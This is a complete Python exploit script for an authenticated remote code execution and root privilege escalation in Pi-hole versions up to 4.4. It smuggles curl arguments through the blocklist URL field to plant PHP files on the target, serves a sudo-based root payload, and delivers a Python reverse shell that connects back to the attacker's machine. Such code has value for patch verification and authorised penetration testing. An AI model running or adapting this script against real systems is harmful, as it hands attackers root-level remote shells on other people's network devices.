Pi-hole < 4.4 - Authenticated Remote Code Execution / Privileges Escalation
#!/usr/bin/env python3 # Pi-hole <= 4.4 RCE # Author: Nick Frichette # Homepage: https://frichetten.com # # Note: This exploit must be run with root privileges and port 80 must not be occupied. # While it is possible to exploit this from a non standard port, for the sake of # simplicity (and not having to modify the payload) please run it with sudo privileges. # Or setup socat and route it through there? import requests import sys import socket import _thread import time if len(sys.argv) < 4: print("[-] Usage: sudo ./cve.py *Session Cookie* *URL of Target* *Your IP* *R Shell Port*") print("\nThis script will take 5 parameters:\n Session Cookie: The authenticated session token.\n URL of Target: The target's url, example: http://192.168.1.10\n Your IP: The IP address of the listening machine.\n Reverse Shell Port: The listening port for your reverse shell.") exit() SESSION = dict(PHPSESSID=sys.argv[1]) TARGET_IP = sys.argv[2] LOCAL_IP = sys.argv[3] LOCAL_PORT = sys.argv[4] # Surpress https verify warnings # I'm asuming some instances will use self-signed certs requests.packages.urllib3.disable_warnings() # Payload taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet # I opted to use the Python3 reverse shell one liner over the full PHP reverse shell. shell_payload = """<?php shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'") ?> """ %(LOCAL_IP, LOCAL_PORT) root_payload = """<?php shell_exec("sudo pihole -a -t") ?> """ def send_response(thread_name): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((LOCAL_IP,int(80))) sock.listen(5) connected = False while not connected: conn,addr = sock.accept() if thread_name == "T1": print("[+] Received First Callback") conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n") elif thread_name == "T2": print("[+] Received Second Callback") print("[+] Uploading Root Payload") conn.sendall(bytes(root_payload, "utf-8")) elif thread_name == "T3": print("[+] Received Third Callback") conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n") else: print("[+] Received Fourth Callback") print("[+] Uploading Shell Payload") conn.sendall(bytes(shell_payload, "utf-8")) conn.close() connected = True sock.close() _thread.start_new_thread(send_response,("T1",)) # Fetch token resp = requests.get(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, verify=False) response = str(resp.content) token_loc = response.find("name=\"token\"") token = response[token_loc+20:token_loc+64] # Make request with token data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o fun.php -d \"","field":"adlists","token":token,"submit":"saveupdate"} resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False) if resp.status_code == 200: print("[+] Put Root Stager Success") # Update gravity resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False) time.sleep(3) _thread.start_new_thread(send_response,("T2",)) # Update again to trigger upload of root redirect resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False) time.sleep(1) _thread.start_new_thread(send_response,("T3",)) data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o teleporter.php -d \"","field":"adlists","token":token,"submit":"saveupdate"} resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False) if resp.status_code == 200: print("[+] Put Shell Stager Success") resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False) time.sleep(1) _thread.start_new_thread(send_response,("T4",)) resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False) print("[+] Triggering Exploit") try: requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/fun.php", cookies=SESSION, timeout=3, verify=False) except: # We should be silent to avoid filling the cli window None |